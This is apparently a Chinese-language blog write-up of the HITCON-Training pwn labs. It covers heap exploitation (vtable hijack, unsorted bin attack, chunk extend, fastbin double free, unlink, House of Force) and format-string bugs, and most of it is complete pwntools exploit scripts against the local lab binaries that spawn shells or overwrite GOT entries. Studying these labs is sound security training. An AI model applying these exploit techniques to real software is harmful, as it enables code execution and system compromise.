HITCON-Training

  • 会飞的鱼
  • 41 Minutes
  • January 28, 2019

链接:https://github.com/scwuaptx/HITCON-Training

[TOC]

1.lab15

这是一个c++的堆溢出,ida反汇编的乱七八糟的,网上找了源码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Dog : public Animal{
public :
Dog(string str,int w){
strcpy(name,str.c_str());
weight = w ;
}
virtual void speak(){
cout << "Wow ~ Wow ~ Wow ~" << endl ;
}
virtual void info(){
cout << "|---------------------|" << endl ;
cout << "| Animal info |" << endl;
cout << "|---------------------|" << endl;
cout << " Weight :" << this->weight << endl ;
cout << " Name : " << this->name << endl ;
cout << "|---------------------|" << endl;
}
};

strcpy(name,str.c_str()),在这里发生堆溢出,

涉及到虚表,详情可见链接

简要来说目的就是通过栈溢出使下图变为下下图,从而实现任意代码执行

1
2
3
4
5
+---------------+
| vtable address|----+ vtable
+---------------+ | +------------+
| attrib | +----->| func1 |
+---------------+ +------------+
1
2
3
4
5
6
+---------------+
| fake address |----+
+---------------+ | fake table
| attrib | | +-----------+ +-------------+
+---------------+ +--------->|&shellcode |----------->| shellcode |
+-----------+ +-------------+

在ida里跟踪,发现zoo的名字存在类似数组的位置

在ida中验证,果然是这样,所以可以在此处填入shellcode

添加两个动物,查看内存占用情况

1
2
dog_add('a'*8,0)
dog_add('b'*8,1)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import*
context(os="linux", arch="amd64",log_level = "debug")
elf = ELF("./zoo")
libc = elf.libc

p=process("./zoo")
def dog_add(name,weight):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(name)
p.recvuntil(":")
p.sendline(str(weight))
def remove(idx):
p.recvuntil(":")
p.sendline("5")
p.recvuntil(":")
p.sendline(str(idx))
def listen(idx):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))

shellcode=asm(shellcraft.sh())
#shellcode="\x48\xb9\xff\xff\xff\xff\xff\xff\xff\xff\x49\xb8\xae\xb7\x72\xc3\xdb\xf0\xfa\xff\x49\x31\xc8\x41\x50\x49\xb8\xd0\x9d\x96\x91\xd0\xd0\x8c\x97\x49\x31\xc8\x41\x50\x49\xb8\xb7\xce\x2d\xad\x4f\xc4\xb7\x46\x49\x31\xc8\x41\x50\xff\xe4"
nameofzoo=0x605420

p.recvuntil(":")
p.sendline(shellcode+p64(nameofzoo))
dog_add('a'*8,0)
dog_add('b'*8,1)

remove(0)
fake_vptr=nameofzoo+len(shellcode)
dog_add("c"*72+p64(fake_vptr),2)
listen(0)

p.interactive()

2.lab14

unsortedbin attract

unsortedbin分配原则:

1
2
3
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

所以我们尝试用堆溢出控制unsorted bin的bk指针

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import*
#context.log_level='debug'

p=process('magicheap')

def create(size,context):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(context)
def edit(idx,size,context):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(idx))
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(context)
def delete(idx):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))
magic=0x006020C0

create(0x10,'1111')
create(0x80,'bbbb')
create(0x30,'cccc')

delete(1)
payload='d'*0x10+p64(0)+p64(0x91)+p64(0)+p64(magic-0x10)
edit(0,0x30,payload)
create(0x80,'bbbb')
p.recvuntil(":")
p.sendline("4869")
p.recvuntil('Congrt !\n')
success(p.recvline())

3.lab 13

chunk extend

堆结构如下

1
2
3
4
struct heap {
size_t size ;
char *content ;
}

申请0x18和0x10两个堆块

由于申请的空间要与0x10对齐,所以heap0的后0x8的空间被heap1复用

这里可以溢出一个字节,修改heap1的size为0x30

1
2
3
4
if(heaparray[idx]){
printf("Content of heap : ");
read_input(heaparray[idx]->content,heaparray[idx]->size+1);
puts("Done !");

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

from pwn import *
context.log_level='debug'

p = process('./heapcreator')
elf = ELF('./heapcreator')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def create(size, content):
p.recvuntil(':')
p.sendline('1')
p.recvuntil(':')
p.sendline(str(size))
p.recvuntil(':')
p.sendline(content)

def edit(idx,context):
p.recvuntil(':')
p.sendline('2')
p.recvuntil(':')
p.sendline(str(idx))
p.recvuntil(':')
p.sendline(context)

def show(idx):
p.recvuntil(':')
p.sendline('3')
p.recvuntil(':')
p.sendline(str(idx))

def delete(idx):
p.recvuntil(':')
p.sendline('4')
p.recvuntil(':')
p.sendline(str(idx))
atoi_got=elf.got['atoi']

create(0x18,'aaaa')
create(0x10,'bbbb')
pay1=p64(0)*3+p64(0x41) //修改heap1的size
edit(0,pay1)
delete(1) //释放heap1,得到size分别为0x30和0x10的两个chunk
pay2='a'*0x20+p64(0x30)+p64(atoi_got) //伪造0x30大小的chunk
create(0x30,pay2) //再次申请时优先分配刚释放的chunk,此时可以控制0x10chunk的指针
show(1)

p.recvuntil("Content : ")
data=p.recvuntil('Done !')
atoi_addr=u64(data.split("\n")[0].ljust(8,"\x00"))
libc_base=atoi_addr-libc.symbols['atoi']
system_addr=libc_base+libc.symbols['system']
edit(1,p64(system_addr))
p.sendline('/bin/sh\00')
p.interactive()

4.lab 12

Double Free,Fastbins Dup

学习链接:

https://www.jianshu.com/p/1f06e40711a2

https://blog.csdn.net/z231288/article/details/71330912

https://blog.csdn.net/qq_39153247/article/details/81878398

https://www.cnblogs.com/Ox9A82/p/5865420.html

0x601ffa处内存情况:

调试过程:

1
2
raiseflower(0x50,"aaaa","red")#0
raiseflower(0x50,"bbbb","green")#1

1
remove(0)

1
remove(1)

1
remove(0)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
r = process('./secretgarden')

def raiseflower(length,name,color):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)
r.recvuntil(":")
r.sendline(color)

def visit():
r.recvuntil(":")
r.sendline("2")

def remove(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))

def clean():
r.recvuntil(":")
r.sendline("4")


magic = 0x400c7b magic函数地址
fake_chunk = 0x601ffa 目标地址,这个地址恰好有符合fastbin范围的大小,故在此伪造chunk
raiseflower(0x50,"da","red")#0
raiseflower(0x50,"da","red")#1
//double free
remove(0) chunk0进入fastbins链表的第一个,不可以再次free
remove(1) chunk1成为fastbins链表的第一个,fd指针指向chunk0
remove(0) hunk0进入fastbins链表的第一个,fd指向chunk1
raiseflower(0x50,p64(fake_chunk),"blue")
raiseflower(0x50,"da","red")
raiseflower(0x50,"da","red")
//目的是将put_got的地址换成magic
raiseflower(0x50,"a"*6 + p64(0) + p64(magic)*2 ,"red")//malloc in fake_chunk
//这里p64(0) + p64(magic)*2或p64(0)*2 + p64(magic)都可以
r.interactive()

5 lab11

unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import*

p=process('./bamboobox')
elf=ELF('./bamboobox')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def show():
p.recvuntil(":")
p.sendline("1")
def add(len,item):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(len))
p.recvuntil(":")
p.sendline(item)
def change(idx,len,item):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))
p.recvuntil(":")
p.sendline(str(len))
p.recvuntil(":")
p.sendline(item)
def remove(idx):
p.recvuntil(":")
p.sendline("4")
p.recvuntil(":")
p.sendline(str(idx))

head=0x6020c8
fd=head-0x18
bk=head-0x10
atoi_got=elf.got['atoi']

add(0x80,'aaaa') //大小在8-0x80之外,否则free后归入fastbins
add(0x80,'bbbb')
add(0x50,'cccc') //大小随便

fake_chunk=p64(0)+p64(0x80)+p64(fd)+p64(bk)
fake_chunk=fake_chunk.ljust(0x80,'A')
fake_chunk+=p64(0x80)+p64(0x90)

change(0,0x90,fake_chunk)
remove(1)

pay=p64(0)*3 //从head-0x18开始填充
pay+=p64(atoi_got)
change(0,0x80,pay)
show()

p.recvuntil("0 : ")
atoi_addr=u64(p.recvuntil(":")[:6].ljust(8,"\x00"))
libc_base=atoi_addr-libc.symbols['atoi']
system_addr=libc_base+libc.symbols['system']


change(0,0x80,p64(system_addr)) //从head开始填充
p.recvuntil(":")
#p.sendline("$0")
p.sendline("/bin/sh")
p.interactive()

House of Force

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import*
p=process('./bamboobox')
elf=ELF('./bamboobox')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(len,item):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(len))
p.recvuntil(":")
p.sendline(item)
def change(idx,len,item):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))
p.recvuntil(":")
p.sendline(str(len))
p.recvuntil(":")
p.sendline(item)

magic=0x00400D49

add(0x30,'aaaa')
pay='a'*0x30+p64(0)+p64(0xffffffffffffffff) //0xffffffffffffffff为-1的补码
change(0,0x40,pay)

fchunk_size=-0x40-0x20-0x10 //chunk+topchunk+pre_size+size
add(fchunk_size,'bbbb') //抬高topchunk指针

add(0x10,p64(magic)*2)

p.interactive()

6 lab 8

格式化字符串漏洞

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
context.log_level='debug'

p=process('./craxme')

#payload=p32(0x0804A038)+'%218x7$hn'
MagicAddr=0x0804A038
payload = fmtstr_payload(7, {MagicAddr: 0xda})
p.recvuntil("Give me magic :")
p.sendline(payload)

p.interactive()

7 lab7

格式化字符串漏洞

基本的格式化字符串参数

%c:输出字符,配上%n可用于向指定地址写数据。

%d:输出十进制整数,配上%n可用于向指定地址写数据。

%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import*
context.log_level='debug'

p=process('./crack')

payload=p32(0x0804A048)+'#'+'%10$s'+'#' //0x0804A048是password地址,ida中可以找到
print payload //'#'作为标志
p.recvuntil("What your name ? ")
p.sendline(payload)

p.recvuntil("#")
r=p.recvuntil("#")
print r
print r[:4]
password=u32(r[:4])
p.recvuntil("Your password :")
p.sendline(str(password))

p.interactive()